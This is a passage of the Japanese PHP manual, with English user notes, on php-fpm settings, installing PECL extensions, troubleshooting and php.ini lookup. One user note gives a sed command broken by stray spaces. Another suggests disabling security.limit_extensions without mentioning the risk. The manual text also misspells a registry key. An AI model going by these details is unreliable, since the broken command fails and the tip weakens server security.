ProxyFCGISetEnvIf "true" PHP_ADMIN_VALUE "open_basedir=/var/www/toto/:/tmp/ \n session.save_path=/var/www/toto/session \n display_errors=On \n error_reporting=-1"
ikrabbe 28-Feb-2018 09:52
It seems there is no way to get informed about the access log format codes that are used or can be used. All I found is the source code.

It would really help, not to have open questions when deploying php-fpm. I constantly struggle with file paths for example, but that is another topic.

                                case '%': /* '%' */
                                case 'C': /* %CPU */
                                case 'd': /* duration μs */
                                case 'e': /* fastcgi env  */
                                case 'f': /* script */
                                case 'l': /* content length */
                                case 'm': /* method */
                                case 'M': /* memory */
                                case 'n': /* pool name */
                                case 'o': /* header output  */
                                case 'p': /* PID */
                                case 'P': /* PID */
                                case 'q': /* query_string */
                                case 'Q': /* '?' */
                                case 'r': /* request URI */
                                case 'R': /* remote IP address */
                                case 's': /* status */
                                case 'T':
                                case 't': /* time */
                                case 'u': /* remote user */
mb 07-Apr-2015 11:52
If you need to disable security.limit_extensions variable, simply set the variable to FALSE like so:

security.limit_extensions = FALSE
gadnet at aqueos dot com 06-May-2014 02:24
the doc is lacking a lot of things it seems.

  The php fpm exemple config file indicate different thing, more option etc... I wonder why the main documentation is less verbose that the configuration file that user can have .. or not have ?
Yousef Ismaeil Cliprz 23-Jan-2014 02:03
Check if fastCGI enabled

<?php
// You can use isset or is_null for $_SERVER['FCGI_SERVER_VERSION']
function isFastCGI () {
    return !is_null($_SERVER['FCGI_SERVER_VERSION']);
}

?>
sroussey at gmail dot com 18-Feb-2013 12:15
Starting in 5.3.9 the security.limit_extensions configuration item has been added and it defaults to .php. If you need to execute other extensions, you have to change this setting.
Frank DENIS 29-May-2011 11:23
The default value for listen.backlog isn't exactly "unlimited".

It's 128 on some operating systems, and -1 (which doesn't mean "unlimited" as well, but is an alias to a hard limit) on other systems.

Check for a sysctl value like kern.somaxconn (OpenBSD) or net.core.somaxconn (Linux).

Crank it up if you need more PHP workers than the default value. Then adjust listen.backlog in your php-fpm configuration file to the same value.

-Frank.


PECL 拡張モジュールのインストール

目次

  • PECL インストール入門
  • PECL 拡張モジュールをダウンロードする
  • PHP 拡張モジュールの Windows へのインストール
  • 共有 PECL 拡張モジュールを、pecl コマンドを用いてコンパイルする
  • phpize で共有 PECL 拡張モジュールをコンパイルする方法
  • php-config
  • PECL 拡張モジュールを PHP に静的に組み込む

User Contributed Notes

Boruta.info 14-Jan-2021 04:04
I was able to run it on Ubuntu + PHP 8.0. Currently newest version 0.5.0 is not adapted to PHP 8.0, although it seems to work. You have to download the source version and compile it manually (based on https://www.php.net/manual/en/install.pecl.phpize.php), but you will probably get compilation errors. In my case, there were a few minor bugs due to the missing `;` at the end of the return statement. There were also errors related to the removal of TSRM from PHP 8, but it was enough to add macros to the `.c` files.

May be useful (adds macros to the first line of all `.c` files in the current directory):

sed -i '1s / ^ / \ # ifndef \ TSRMLS_D \ n \ #define \ TSRMLS_D \ void \ n \ #define \ TSRMLS_DC \ n \ #define \ TSRMLS_C \ n \ #define \ TSRMLS_CC \ n \ #define \ TSRMLS_FETCH \ (\) \ n \ #endif \ n / '* .c


PECL インストール入門

» PECL は PHP 拡張モジュールのリポジトリで、 » PEAR パッケージシステムを経由して使用可能です。 ここでは PECL 拡張モジュールを取得してインストールする方法を解説します。

以下に示す手順では、PHP のソース配布物へのパスが /your/phpsrcdir/ であり、PECL 拡張モジュールの名前が extname であると仮定しています。適切に変更してください。また、 » pear コマンド についても理解していることとします。 PEAR マニュアルにある pear コマンドについての情報は、 そのまま pecl コマンドにもあてはまります。

便利な機能を使用するには、拡張モジュールをビルドし、 インストールして読み込まなければなりません。 拡張モジュールのビルドとインストールについては以下でさまざまな方法を説明しますが、 モジュールの読み込みは自動的には行われません。モジュールを読み込むには、 php.ini ファイルに extension ディレクティブを追加するか、dl() 関数を使用します。

拡張モジュールのビルドにあたっては、適切なバージョンのツール (autoconf, automake, libtool など) を使用することが重要です。 必要なツールとそのバージョンについては、 » Anonymous Git の手順 を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


PECL 拡張モジュールをダウンロードする

PECL 拡張モジュールをダウンロードするには、以下に示す通り、いくつかの方法があります。

  • pecl install extname コマンドで、 拡張モジュールのコードを自動的にダウンロードします。 この場合は、個別にダウンロードする必要はありません。
  • » https://pecl.php.net/ PECL のウェブサイトでは、PHP 開発チームが提供する さまざまな拡張モジュールについての情報が公開されています。 ChangeLog やリリース情報、必要な要件、リビジョンといった情報が参照可能です。
  • pecl download extname PECL のウェブサイトで公開されている PECL 拡張モジュールは、 » pecl コマンド を使ってソースファイルをダウンロードすることもできます。 特定のバージョンを指定可能です。
  • SVN 大半の PECL 拡張モジュールは SVN にも収められています。 » https://svn.php.net/viewvc/pecl/ で、 ウェブから参照することができます。 SVN から直接ダウンロードする場合は、 以下の一連のコマンドを使用します。

    $ svn checkout http://svn.php.net/repository/pecl/extname/trunk extname

  • Windows ダウンロード PHP プロジェクトでは、大半の PECL 拡張モジュールの Windows 用コンパイル済み DLL を提供しています。各パッケージのページをごらんください。

User Contributed Notes

There are no user contributed notes for this page.


PHP 拡張モジュールの Windows へのインストール

Windows では、PHP の拡張モジュールを読み込む方法は 2 通りあります。 コンパイル時に PHP に組み込む方法と、DLL として読む込む方法です。 コンパイル済みの拡張モジュールを読み込む方法のほうが簡単で、おすすめです。

拡張モジュールを読み込むには、".dll" ファイルをシステム上に用意する必要があります。 すべての拡張モジュールは、PHP Group によって定期的に自動コンパイルされています (ダウンロード先は次の節を参照ください)。

コンパイル時に拡張モジュールを PHP に組み込む方法については、 ソースからのビルド に関するドキュメントを参照ください。

単体の拡張モジュール (DLL ファイル) をコンパイルする方法については ソースからのビルド に関するドキュメントを参照ください。 PHP の配布パッケージにも PECL にも DLL ファイルが存在しなければ、 まずコンパイルをしないとその拡張モジュールは使えないでしょう。

拡張モジュールの探し方は？

PHP の拡張モジュールは、通常は "php_*.dll" (* の部分に拡張モジュールの名前が入ります) という名前で "PHP\ext" フォルダに存在します。

PHP には、大半の開発者にとって有用である拡張モジュールが同梱されています。 これらは "コア" 拡張モジュールと呼ばれます。

しかし、コア拡張モジュールに含まれない機能が必要となった場合はそのモジュールを » PECL で探す必要があります。 The PHP Extension Community Library (PECL) は PHP 拡張モジュール用のリポジトリで、すべての拡張モジュールの一覧機能や PHP 拡張モジュールの開発やダウンロードをホスティングする仕組みを提供します。

自分で拡張モジュールの開発をしている方は、 それを PECL で公開して他の人たちにも使ってもらいたいと思われることでしょう。 そうすれば、彼らからフィードバックを得たり (うまくいけば) 感謝の言葉をもらえたり、バグレポートやバグ修正パッチをもらえたりするかもしれません。 自作の拡張モジュールを PECL で公開したい場合は » PECL submit を参照ください。

どれをダウンロードすればいいの？

各 DLL について、いくつかのバージョンが見つかることがあります。

  • バージョン番号が異なるもの (少なくとも先頭の 2 つの数字は一致している)
  • スレッドセーフの設定が異なるもの
  • プロセッサのアーキテクチャ (x86, 64 bits...) が異なるもの
  • デバッグ設定が異なるもの
  • その他

注意して欲しいのは、拡張モジュールの設定とそれを動かす PHP 実行ファイルの設定をそろえておかなければならないということです。 次の PHP スクリプトを実行すると、PHP に関する すべての 設定を取得することができます。

例1 phpinfo() のコール

<?php
phpinfo();
?>

あるいは、コマンドラインから次のように実行します。

drive:\\path\to\php\executable\php.exe -i

拡張モジュールの読み込み

PHP の拡張モジュールを読み込む方法として最も一般的なのは、設定ファイル php.ini に書き込むことです。多くの拡張モジュールはすでに php.ini 上に存在し、 あとはセミコロンを取り除くだけで有効にできるようになっています。

PHP 7.2.0 以降では、拡張機能の名前が、拡張機能のファイル名の代わりに使えるようになりました。 これは OS に依存せず、特に初心者に簡単な仕組みです。 これは、読み込む拡張機能を指定する推奨できるやり方になっています。 それより前のバージョンとの互換性を確保するため、ファイル名の指定もまだサポートされています。

;extension=php_extname.dll

extension=php_extname.dll

; PHP バージョン 7.2 以降では、下記が良いでしょう。
extension=extname
zend_extension=another_extension

しかし、ウェブサーバーによっては少し迷うことがあるかもしれません。 というのも、php.ini が PHP 実行ファイルとは別の場所にあることもあるからです。 実際に使われている php.ini の場所を見つけるには、 phpinfo() で次のような行を探します。

Configuration File (php.ini) Path  C:\WINDOWS

Loaded Configuration File   C:\Program Files\PHP\5.2\php.ini

拡張モジュールを有効にしたら、php.ini を保存してウェブサーバーを再起動し、もういちど phpinfo() を確認します。 新しい拡張モジュールについての情報がそこに追加されているはずです。

問題の解決

もし拡張モジュールの情報が phpinfo() に出てこなかった場合は、ログをチェックして何が起こったのかを調べなければなりません。

PHP をコマンドライン (CLI) で使用している場合は、 拡張モジュールの読み込み時のエラーは直接画面に表示されます。

PHP をウェブサーバー上で使用している場合は、ログの場所や書式はソフトウェアによって異なります。 ウェブサーバーのドキュメントを読んでログを見つけましょう。 ログの場所については、PHP 自体とは特に関係のないことです。

DLL の場所がおかしい、php.ini の "extension_dir" がおかしい、 コンパイル時の設定が違うなどが、よくある問題です。

コンパイル時の設定が違うことが原因だった場合は、おそらく間違った DLL をダウンロードしてしまったのでしょう。 もういちど、正しい設定の拡張モジュールをダウンロードしましょう。 正しい設定とは？ 改めて言います。phpinfo() を参考にしましょう。

User Contributed Notes

peteb at airpost dot net 21-Jul-2020 03:23
This is not really true all the time:

"However, some web servers are confusing because they do not use the php.ini located alongside your PHP executable. To find out where your actual php.ini resides, look for its path in phpinfo():

Configuration File (php.ini) Path  C:\WINDOWS"

Ignore the path being C:\windows
This issue goes back over a decade.
Php is hardwired to display "C:\windows" even though there is not any php.ini at that location.
Moving php.ini to C:\windows will accomplish nothing.
I have seen many posts about folks complaining that they can't get it to stop displaying "Path C:\windows".  I have not seen anything posted that fixes this and a few posts that claim it is hardwired to display this.
I have both working and broken php setups on various windows machines and they all say this same "c:\windows" even though my php.ini file is in c:\php.
I know apache is using the file c:\php\php.ini and not the windows directory because there is no php.ini in windows directory and changes to my php.ini file work fine even though the info from phpinfo is wrong on this line.
Chris 15-Jun-2018 09:09
In xampp. After removing the semicolon from the php.ini file, I had to stop the the apache server from the xampp GUI and restart it. Then I used the following code to view all the loaded extentions and my extension was shown there as well.

print_r(get_loaded_extensions());

Hope this helps!
Robert Dinion 15-May-2018 10:52
For Windows try setting the  extension_dir set to a complete path if you have an error.
 Only having
extension_dir ="ext"
did not work for me.
The Apache error log showed it looking for ext\\<extension.dll> and unable to find it.
; Directory in which the loadable extensions (modules) reside.
; http://php.net/extension-dir
; extension_dir = "./"
; On windows:
extension_dir = "C:\php\ext"


共有 PECL 拡張モジュールを、pecl コマンドを用いてコンパイルする

PECL を用いると、共有 PECL 拡張モジュールを容易に作成することができます。 以下のように » pecl コマンド を用います。

$ pecl install extname

extname のソースがダウンロードされ、 コンパイルおよび extension_dir への extname.so のインストールが行われます。 extname.so は、php.ini 経由で読み込まれます。

デフォルトでは、pecl コマンドは 状態が alpha あるいは beta のパッケージをインストールしません。stable なパッケージが存在しない場合は、以下のコマンドを使用して beta パッケージをインストールします。

$ pecl install extname-beta

特定のバージョンをインストールするには、次のような変化形を使用します。

$ pecl install extname-0.1

注意:

拡張モジュールを php.ini で有効にしたら、 ウェブサービスを再起動させないとそれは反映されません。

User Contributed Notes

giulliano dot scatalon dot rossi at gmail dot com 18-Apr-2020 05:41
To install the PECL on debian based linux distros (ubuntu, mint, kali, etc.)
Use the apitude command:

sudo apt-get install php-pear

I hope helped someone
Bichis Paul 13-Jan-2017 03:37
on Mageia Linux use urpmi

[afk@mageia5][~]$ sudo urpmi php-pear
ericn at amazon dot com 18-Nov-2013 11:55
To compile pecl extensions on Amazon Linux AMIs, follow the tutorial at http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/install-LAMP.html and then install these additional required packages with the following command:

[ec2-user ~]$ sudo yum install php-devel zlib-devel curl-devel gcc

You should then be able to compile pecl extensions; for example, enter the following command to compile the pecl_http extension:

[ec2-user ~]$ sudo pecl install pecl_http
ktcox at mail dot com 06-Apr-2011 05:22
The Arch Linux package that contains PECL is 'php-pear'

# pacman -S php-pear
zir dot echo at gmail dot com 03-Jun-2008 11:43
Install pecl for gentoo:

emerge dev-php/PEAR-PEAR
pedro dot fonini at gmail dot com 30-Mar-2008 05:27
to use the pecl, pear, or phpize commands in fedora, install the php-devel package:
$ yum install php-devel


phpize で共有 PECL 拡張モジュールをコンパイルする方法

時には pecl インストーラを使用するという選択肢が使えない場合もあります。 たとえばファイアウォールの内部で作業をしている場合がそうですし、 まだリリースされていない SVN 版のように PECL パッケージ形式になっていないものをインストールする場合も それにあてはまります。このようなモジュールをビルドする必要がある場合は、 より低レベルなビルドツールを使用して手動でビルドします。

PHP 拡張モジュールのビルド環境を準備するために、 phpize コマンドを使用します。以下の例では、 拡張モジュールのソースが extname というディレクトリにあると仮定します。

$ cd extname
$ phpize
$ ./configure
$ make
# make install

上手くいけば、extname.so が作成され、 それが PHP の 拡張モジュールディレクトリ に置かれます。 この拡張モジュールを使用する前に、php.ini に extension=extname.so という行を追加する必要があります。

コンパイル済みのパッケージ (RPM など) を使用している場合などで、もし phpize コマンドが見つからない場合は、適切な 開発版の PHP パッケージをインストールしましょう。 PHP や拡張モジュールをビルドするために必要なヘッダファイルや phpize コマンドは、このパッケージに含まれます。

使用法についての詳細な情報を表示するには、 phpize --help を実行します。

User Contributed Notes

gautama dot himawan at yahoo dot com 21-Oct-2014 10:08
If you failed to run phpize command, then you should install php-devel package. Command line to install the php-devel package using yum is: yum install php-devel.

If you failed to compile the PECL extension, then you should install gcc package. Command line to install the gcc package using yum is: yum install gcc.
admin at eexit dot net 19-Jun-2012 07:33
When compiling an extension for a stack which is 64 bits (for example) and your compiler is configured to compile in 32 bits, you can manually compile your extensions using C flags before your configure.

Example: my system compiler is 32 bits and my stack is 64 bits. To compile my xdebug:

# phpize
# CFLAGS=-m64 CPPFLAGS=-m64 CCASFLAGS=-m64 ./configure --enable-xdebug
# gmake
# file modules/xdebug.so
modules/xdebug.so:      ELF 64-bit LSB dynamic lib AMD64 Version 1, dynamically linked, not stripped, no debugging information available
Brian 01-May-2008 11:39
If you have multiple PHP versions installed, you may be able to specify for which installation you'd like to build by using the --with-php-config option during configuration.

--with-php-config=[Insert path to proper php-config here]

For example (my case):
./configure --with-php-config=/usr/local/php5/bin/php-config5
Glen 17-May-2007 04:07
When you have multiple installations of PHP, running phpize from a specific installation will not force the module to be compiled with that installation's include files.

In my case, I had a standard PHP distribution installed, and am evaluating Zend Core / Zend Platform, which installed it's own Apache & PHP in a /usr/local/Zend/.. install path.  It was missing the json.so module, so I had to compile my own.

Running Zend Core's phpize, the output indicates that configuration for that module will occur.  But when running ./configure, the standard installation's include files are used.  The result json.so being compiled against the wrong PHP would not load when Zend Core's php initializes.

The only way I could see to correct the situation was to temporarily change the standard PHP include path to point to the Zend Core's include files.  In my case, I made a backup copy of /usr/include/php5 and did a "ln -s /usr/local/Zend/Core/include/php/ /usr/include/php5".
dmytton at php dot net 03-Dec-2005 11:45
In some situations (e.g. on a cPanel server), the built extension will not be placed into the correct extensions directory by the make install process. Use your phpinfo() output to determine what the correct extension_dir path is and move the generated .so file into that directory. The extension=extname.so line in php.ini will then find the extension file correctly.


php-config

php-config はシンプルなシェルスクリプトで、 インストールされている PHP の設定情報を取得します。

拡張モジュールをコンパイルするときに、もし複数のバージョンの PHP がインストールされている場合は、どちらを使ってコンパイルするのかを指定できます。 configure の --with-php-config オプションで、 対応する php-config スクリプトのパスを指定します。

php-config スクリプトのコマンドラインオプション一覧は、 php-config に -h スイッチをつけて実行すれば見られます。

Usage: /usr/local/bin/php-config [OPTION]
Options:
  --prefix            [...]
  --includes          [...]
  --ldflags           [...]
  --libs              [...]
  --extension-dir     [...]
  --include-dir       [...]
  --php-binary        [...]
  --php-sapis         [...]
  --configure-options [...]
  --version           [...]
  --vernum            [...]

コマンドラインオプション
オプション | 説明
--prefix | PHP のインストール先ディレクトリのプレフィックス。例: /usr/local
--includes | -I オプションとインクルードしたファイルの一覧
--ldflags | PHP をコンパイルしたときの LD フラグ
--libs | PHP をコンパイルしたときの外部ライブラリ
--extension-dir | 拡張モジュールを探すときのデフォルトのディレクトリ
--include-dir | ヘッダファイルのデフォルトのインストール先ディレクトリのプレフィックス
--php-binary | CLI あるいは CGI バイナリへのフルパス
--php-sapis | 使用できるすべての SAPI モジュール
--configure-options | 現在インストールされている PHP の再作成するための configure オプション
--version | PHP のバージョン
--vernum | PHP のバージョンを整数値で表したもの

User Contributed Notes

There are no user contributed notes for this page.


PECL 拡張モジュールを PHP に静的に組み込む

PECL 拡張モジュールを PHP に静的に組み込みたいと思うこともあるでしょう。 そのためには、拡張モジュールのソースを /your/phpsrcdir/ext/ ディレクトリに置き、PHP にその設定スクリプトを生成させる必要があります。

$ cd /your/phpsrcdir/ext
$ pecl download extname
$ gzip -d < extname.tgz | tar -xvf -
$ mv extname-x.x.x extname

上記を行うと、以下のディレクトリが作成されます。

/your/phpsrcdir/ext/extname

これ以降、PHP に configure スクリプトを再実行させ、通常通りに PHP をビルドします。

$ cd /your/phpsrcdir
$ rm configure
$ ./buildconf --force
$ ./configure --help
$ ./configure --with-extname --enable-someotherext --with-foobar
$ make
$ make install

注意: 'buildconf' スクリプトを実行するためには、autoconf 2.13 と automake 1.4+ が必要です (新しいバージョンの autoconf では動作するかも知れませんが、 サポートされていません)。

拡張モジュールによって、--enable-extname もしくは --with-extname オプションを指定します。 外部ライブラリを使用しない拡張モジュールについては、 --enable が使われるのが一般的です。 buildconf の後で、以下を行うと確認できます。

$ ./configure --help | grep extname

User Contributed Notes

anthon at piwik dot org 15-Aug-2012 02:20
Some extensions cannot be statically linked (e.g., xdebug).


問題が起きた場合

目次

  • FAQ を読む
  • FAQ に無い問題
  • バグ報告

User Contributed Notes

There are no user contributed notes for this page.


FAQ を読む

よくある問題とそうでない問題とがあります。 よくある問題（とその答え）の内、代表的なものが PHP FAQ に記載されています。

User Contributed Notes

There are no user contributed notes for this page.


FAQ に無い問題

FAQ を参照しても問題が解決しない場合には、PHP インストール用メーリングリストの誰かが 助けてくれるかもしれません。最初に、アーカイブをチェックして、過去に誰かが 自分と同じ問題に関する質問を行い、既に解答を受けていないかをチェックしてください。 アーカイブは、» https://www.php.net/ のサポートページで 公開されています。PHP インストール用メーリングリストに加入するには、空のメールを » php-install-subscribe@lists.php.net に送信してください。メーリングリストのアドレスは、php-install@lists.php.net です。

メーリングリストにおいて質問をする場合は、正確さを心がけ、 解答に必要な使用環境に関する事項（オペレーティングシステムの種類、 PHP のバージョン、Web サーバーの種類、PHP を CGI として使用しているのか サーバーモジュールとして使用しているのか、等）を明らかにするように してください。他の人が問題を再現し、テストできるのに充分なコードを 示すことが望まれます。

User Contributed Notes

There are no user contributed notes for this page.


バグ報告

PHP のバグを発見した場合は、報告してください。あなたがそのバグを報告しない限り、 PHP の開発者がそのバグを知ることは恐らくなく、修正されることもないでしょう。 バグの報告は、» https://bugs.php.net/ にあるバグ追跡システムを使用して行います。 バグレポートをメーリングリストや個人宛てのメールで送らないでください。

» バグ報告の仕方 を読み、 それにしたがってバグ報告を投稿してください。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

目次

  • 設定ファイル
  • .user.ini ファイル
  • どこで設定を行うのか
  • 設定を変更するには

User Contributed Notes

goran 17-Sep-2013 10:30
To run separate apache and php processes on centos (at least) without
having to compile and install separate versions for every instance
this should work:

Install apache and php with yum.

This will give you (for the first instance):

/etc/httpd/*, /etc/sysconfig/httpd, /etc/init.d/httpd, /etc/php.ini
and /etc/php.d/*.

Copy all this stuff to:
/etc/httpd2/*, /etc/sysconfig/httpd2, /etc/init.d/httpd2,  /etc/php2.ini
and /etc/php2.d/*.

Then:

Edit the apache config files in /etc/httpd2/* to reflect the new
ports you want to have this apache listen on (don't forget ssl.conf
under conf.d) and any other differing settings, like log file
destinations and virtualhosts.

Edit the php2.ini for any specific settings you want the other php
instance to have.

To have a completely separate php in this new apache instance with its own
modules included, edit /etc/sysconfig/httpd2 and add the following:

PHPRC=/etc/php2.ini
export PHPRC
PHP_INI_SCAN_DIR=/etc/php2.d
export PHP_INI_SCAN_DIR

This will set the environment variables for the second apache/php
instance before it is started.

Then edit /etc/init.d/httpd2 and change all references to httpd
(like lockfile, pidfile and sysconfig) to httpd2. Don't touch the
executable name, though :)

And change this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd $OPTIONS

to this:

LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd -f /etc/httpd2/conf/httpd.conf $OPTIONS

.. so this apache can find its own configuration file.

Then, if necessary 'chkconfig --add /etc/init.d/httpd2' to have it
in startup and you should have two apache instances with two separate
php modules with their own dedicated settings.
salivatears at gmail dot com 30-Nov-2010 07:18
For windows with limited file permission (Windows XP)

1. Install Apache in your folder profile "C:\Documents and Settings\your_profile"

2. Add the following directives to you httpd.conf
PHPINIDir "C:\Documents and Settings\your_profile\php"

LoadModule php5_module "C:\Documents and Settings\your_profile\php\php5apache2_2.dll"

AddType application/x-httpd-php .php

3. Edit the following directive to you php.ini
extension_dir = "C:\Documents and Settings\your_profile\php\ext"

4. Move the file libmysql.dll from C:\Documents and Settings\your_profile\php\ to C:\Documents and Settings\your_profile\php\ext\

5. Restart httpd using command line
georgeATdlouhyDOTinfo 23-Oct-2008 10:10
PHP 5.2.6 & Apache 2.2
----------------------
If you tried everything above and you server is not executing php script, look in php.ini at value:

short_open_tag = Off
;it does not recognise '<?', only '<? php' or '<script>'

Some editors come with '<?' as default, like mine did. After two days I finally found out...
php at chrismonster dot com 27-Jul-2008 10:33
w2k, apache 1.3.29, php 5.2.6: c:\php\php.ini was not found until the environment variable PHPRC was set to "c:\php", even though php was used as a module, not CGI.

just adding c:\php to the path was not adequate.

phpinfo() still shows "Configuration File (php.ini) Path" to be C:\WINNT, but "Loaded Configuration File" now correctly displays "C:\php\php.ini".

initially the problem appeared to be simply that the mysql extension was not loading; in fact, the problem was more fundamental (php.ini not found) but because php will still work with defaults, this was not obvious.
Anonymous 06-Feb-2008 02:03
Hello,

Having tried EVERYTHING on every php / mysql site to get php5.2.5 to talk to mysql server 5.0 (including all php.ini settings, all dlls, and many more ...)

Please try this: set Apache2.2 service Startup Type to MANUAL.  If not, it does not see to reload php.ini, no matter how many times you stop and start.

After 2 days, I finally see mysql info for <?php phpinfo(); ?>

Hope this helps!!
DK
jaw at jawspeak dot com - Jonathan Andrew Wolte 25-Jun-2007 05:01
Be sure to use double quotes in the php.ini file. For instance:

(lines broken for readability)

this will work:
# xdebug debugging
zend_extension="/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so"

this won't:
# xdebug debugging
zend_extension='/usr/local/php5/lib/php/extensions
/no-debug-non-zts-20060613/xdebug.so'

You'll get this error:
Failed loading '/usr/local/php5/lib/php/extensions/
no-debug-non-zts-20060613/xdebug.so':  (null)

So... double quotes are the way! I know this is obvious, but it's a good thing to remember for the php.ini file.
alvaro at demogracia dot com 16-Jun-2007 05:01
About Apache 2.0 module:

For whatever reason, the Windows installer for PHP/5.2.3 tries to set the PHPIniDir directive using "\\" as directory separator:

PHPIniDir "C:\\Archivos de programa\\PHP\\"

It didn't work for me until I edited httpd.conf and replaced it with "/":

PHPIniDir "C:/Archivos de programa/PHP/"
henrick at streamsec dot se 01-Apr-2007 05:07
In order to get PHP 5.2 stable running on Windows Server 2003 x64 (IIS 6.0), I discovered three things (in addition to the other comments above):

* Some PHP web applications make use of the SCRIPT_NAME server variable which is not available under CGI. You have to use php5isapi.dll, which is a 32 bit dll, so you have to run IIS in 32 bit mode. Confer http://support.microsoft.com/kb/894435. This applies to all ISAPI extensions and not just ASP.NET.

* It appears you must leave the doc_root entry in php.ini blank. At least, that is what finally made my installation work. (Note that others have suggested to set it to e.g. C:\inetpub\wwwroot or equivalent. That won't work if your server hosts more than one domain, each placed in a separate directory.)

* If you are e.g. using MySQL you will have to edit php.ini. In order for it to be found, you must set the PHPRC system environment variable or the registry entry. Note that if you edit the registry using regedit.exe, the PHP key should be placed under the [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node] key. This happens automatically if you set it using a 32 bit legacy application.
gprochnow AT PINT DOT COM 29-Mar-2007 12:19
Run php 4 and php 5.2.x on the same machine with IIS 6.0 as ISAPI.

1. Extract the ZIP packages of both php 4 & php 5 (not the Windows Installer) to c:\php4 & c:\php5 respectively

2. Setup the corresponding php.ini files in c:\php4 and c:\php5

3. Add the Web Service Extensions for php4 and php5. For php4 use c:\php4\sapi\php4isapi.dll, php5 use c:\php5\php5isapi.dll

4. Add the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\5\IniFilePath -> c:\php5

HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath -> c:\php4

5. Add c:\php4 to the PATH environment variable.

6. Associate each web site in IIS with the corresponding php version.

7. Reboot

Note: That should work, test with phpinfo() in each site. You may need to refer to the php documentation if we missed any other settings.
cduke420 at gmail dot com 07-Jan-2007 10:16
[ When php run as Apache Module ]
DOCUMENT_ROOT .htaccess
+======================================+
SetEnv PHPRC /home/user/dir-containing-phpinifile
+======================================+

[ When php run as CGI ]
Place your php.ini file in the dir of your cgi'd php binary, in this case /cgi-bin/
DOCUMENT_ROOT .htaccess
+======================================+
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
+======================================+

[ PHP run as cgi with wrapper (for FastCGI) ]
Your wrapper script should look something like:
+======================================+
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec /user/htdocs/cgi-bin/php.cgi -c /home/user/php.ini
+======================================+

original article:
http://www.askapache.com/2007/php/custom-phpini-tips-and-tricks.html
Alonso 18-Nov-2006 04:21
Setting php.ini location for PHP working as Apache module (without use SetEnv directive in httpd.conf):

Before start Apache, set the PHPRC environment variable to the path where php.ini should be loaded, for example:

    PHPRC=/etc/php4/apache-another-path
    export PHPRC

In Debian we can do this way:

    In /etc/init.d/apache (the script that loads apache web server) we have this line:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin"

    Set to this:

    ENV="env -i LANG=C PATH=/bin:/usr/bin:/usr/local/bin PHPRC=/etc/php4/apache-another-path"

Then wen you reload apache the php.ini will be loaded in the directory configured in PHPRC environment variable.
c dot affolter at stepping-stone dot ch 13-Mar-2006 05:38
For those people who want to use the PHPRC environment variable:
You have to specify the path to the directory containing your php.ini, not the direct path to the php.ini.

Example (php.ini resides in /your/path/php.ini):
right:
export PHPRC=/your/path

wrong:
export PHPRC=/your/path/php.ini
randy AT rcs-comp DOT com 26-May-2005 12:47
(copied from another page)
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
Jorrit Schippers 26-May-2004 04:33
For IIS users: If you experience high parsetimes, try to set output_buffering to On. IIS has problems with scripts outputting many small pieces of text, and with output_buffering = On, PHP sends the whole page to IIS in one piece.


設定ファイル

設定ファイル (php.ini) は PHP の起動時に読み込まれます。 PHP のサーバーモジュール版では、Web サーバーの起動時に 一度だけ読み込まれます。CGI 版と CLI 版では、スクリプトが呼び出される度に読み込まれます。

読み込む php.ini は、これらの場所を順に探します。

  • SAPI モジュール特有の場所 (Apache 2 における PHPIniDir ディレクティブ、 CGI/CLI 版における -c コマンドラインオプション、 NSAPI における php_ini パラメータ)
  • PHPRC 環境変数。PHP 5.2.0 より前では、 これは、次に挙げるレジストリキーの後にチェックされていました。
  • PHP 5.2.0 以降では、PHP のバージョンごとに別の場所の php.ini を使用することができます。レジストリキーの root は、 インストールされたOS や PHP が 32bit や 64bit どちらのビルドかによって変わります。 32bit OS 上の 32bit ビルドの PHP、 もしくは 64bit OS 上の 64bit ビルドの PHP は [(HKEY_LOCAL_MACHINE\SOFTWARE\PHP] を使いますが、 64bit OS 上での 32bit ビルドのPHPは、 [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\PHP]] を代わりに使います。 ビルドのbit数がOSと同じPHPのインストールの場合、 以下のレジストリキーを順に調べて使用します。 [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y.z]、 [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x.y] および [HKEY_LOCAL_MACHINE\SOFTWARE\PHP\x]。 x、y および z はそれぞれ PHP のメジャーバージョン、マイナーバージョン、 リリース番号を表します。 64bit OS の 32bitビルドの PHP では、 以下のレジストリキーを順に調べて使用します。 [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y.z], [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x.y] および [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6421Node\PHP\x] x、y および z はそれぞれ PHP のメジャーバージョン、マイナーバージョン、 リリース番号を表します。 これらのキーに IniFilePath の値が設定されていれば、最初に見つかった場所の php.ini を使用します (Windows のみ)。
  • [HKEY_LOCAL_MACHINE\SOFTWARE\PHP] または [HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\PHP] にある IniFilePath の値 (Windows のみ)。

  • 現在の作業ディレクトリ (CLI を除く)

  • Web サーバーのディレクトリ (SAPI モジュールの場合)、 もしくは PHP ディレクトリ (そうでない Windows の場合)
  • Windows ディレクトリ (C:\windows もしくは C:\winnt)) (Windows の場合) 、もしくはコンパイル時のオプション --with-config-file-path

php-SAPI.ini (ここで SAPI は使用する SAPI 名。 たとえば php-cli.ini や php-apache.ini) が存在する場合、 php.ini の代わりに使用されます。 SAPI 名は php_sapi_name() によって決定されます。

注意:

Apache web サーバーは、スタート時にディレクトリをルート に変更するので、ファイルシステムのルートに php.ini が存在する場合、PHP はそれを読もうとします。

php.ini の中で環境変数を使うには、次のようにします。

例1 php.ini での環境変数

; 環境変数 PHP_MEMORY_LIMIT を利用します
